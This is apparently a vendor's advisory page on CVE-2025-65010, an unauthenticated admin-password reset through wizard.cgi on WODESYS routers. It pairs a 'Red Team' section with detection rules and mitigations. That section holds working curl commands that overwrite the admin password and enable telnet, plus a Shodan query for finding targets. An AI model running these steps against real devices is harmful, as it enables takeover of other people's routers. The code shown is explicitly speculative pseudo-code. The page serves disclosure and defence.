CVE-2025-65010
Executive Summary
CVE-2025-65010 is a critical Broken Access Control vulnerability in the WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The flaw resides in the wizard.cgi endpoint, which is used during initial configuration. An unauthenticated attacker can change the admin panel password without any authorization, even after the initial setup is complete. This allows full compromise of the router’s administrative interface.
The vendor was notified but did not provide a vulnerable version range or patch. Only firmware version WDR28081123OV1.01 was confirmed vulnerable. The CVSS score is 10.0 (Critical) due to network-based, low-complexity exploitation with no privileges required and high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a hardware device (router) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain package security concerns apply.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The threat level is Critical. An attacker can gain full administrative control over the router, enabling traffic interception, DNS poisoning, firmware modification, and use in botnets.
Deep Dive & Mechanics
The vulnerability exists in the wizard.cgi CGI script, which is intended for initial router setup. The endpoint does not enforce authentication or session validation. By sending a crafted HTTP POST request to /cgi-bin/wizard.cgi with parameters to change the admin password, an attacker can overwrite the existing credentials.
The router’s web server processes the request without checking if the user is authenticated. This is a classic case of Broken Access Control (CWE-306). The wizard.cgi script likely writes the new password directly to the router’s configuration file (e.g., /etc/shadow or a proprietary database) without verifying the current session.
Attack Flow:
- Attacker identifies a vulnerable router via Shodan or network scanning.
- Attacker sends a POST request to
http://<router-ip>/cgi-bin/wizard.cgiwith parameters likeadmin_password=newpass. - The router accepts the request and changes the admin password.
- Attacker logs in with the new password and gains full control.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable behavior. The wizard.cgi script likely contains code similar to:
// Vulnerable pseudo-code
void handle_wizard() {
char *new_password = get_param("admin_password");
if (new_password) {
// No authentication check!
write_password_to_config(new_password);
printf("Password changed successfully");
}
}
A patched version would require authentication:
// Patched pseudo-code
void handle_wizard() {
if (!is_authenticated()) {
printf("401 Unauthorized");
return;
}
char *new_password = get_param("admin_password");
if (new_password) {
write_password_to_config(new_password);
printf("Password changed successfully");
}
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Use a virtualized environment with a vulnerable WD-R608U router (firmware WDR28081123OV1.01) or emulate the CGI endpoint.
- Tools: curl, Burp Suite, Metasploit (if module available), custom Python script.
Exploitation Steps:
Scan for vulnerable routers:
shodan search http.title:"WD-R608U" --fields ip_str,portChange admin password:
curl -X POST http://<target-ip>/cgi-bin/wizard.cgi \ -d "admin_password=attacker123"Verify access:
curl -u admin:attacker123 http://<target-ip>/cgi-bin/status.cgiFull compromise (example):
# Enable telnet curl -u admin:attacker123 http://<target-ip>/cgi-bin/set.cgi \ -d "telnet_enable=1" telnet <target-ip>
Metasploit Module (if available):
# Placeholder for Metasploit module
Blue Team
Detection:
- Monitor for POST requests to
/cgi-bin/wizard.cgifrom external IPs. - Alert on successful password changes without prior authentication.
- Use the Sigma rule below.
Hunting:
- Search logs for
wizard.cgiaccess with parametersadmin_password. - Check for sudden changes in router configuration or admin login failures.
Mitigation:
- Isolate vulnerable routers behind a firewall.
- Disable remote management if not needed.
- Apply vendor patch when available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST to
/cgi-bin/wizard.cgiwithadmin_passwordparameter. - Unauthorized access to
/cgi-bin/status.cgior other admin endpoints.
- HTTP POST to
- File IOCs:
- Modified
/etc/shadowor router config file with new admin password hash.
- Modified
- Behavioral IOCs:
- Router admin password changed without user action.
- Unexpected telnet/SSH sessions from unknown IPs.
Detection Engineering
YARA Rule
rule CVE_2025_65010_WizardCGI_Exploit {
meta:
description = "Detects HTTP POST requests to wizard.cgi with admin_password parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65010"
strings:
$s1 = "POST /cgi-bin/wizard.cgi" ascii nocase
$s2 = "admin_password=" ascii nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-65010 - Unauthenticated Password Change via wizard.cgi
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to wizard.cgi with admin_password parameter, indicating exploitation of CVE-2025-65010.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-65010
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: POST
cs-uri-stem: '/cgi-bin/wizard.cgi'
cs-uri-query|contains: 'admin_password='
condition: selection
falsepositives:
- Legitimate initial configuration (rare after setup)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65010 - Unauthenticated Password Change via wizard.cgi"; flow:to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/wizard.cgi"; http.client_body; content:"admin_password="; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable remote management and restrict access to the router’s web interface to trusted IPs only.
- Workaround: If possible, block access to
/cgi-bin/wizard.cgivia firewall or web server ACL. - Vendor Action: Contact WODESYS for a firmware patch. If unresponsive, consider replacing the router.
- Long-term: Implement network segmentation and use routers with regular security updates.
Valters IT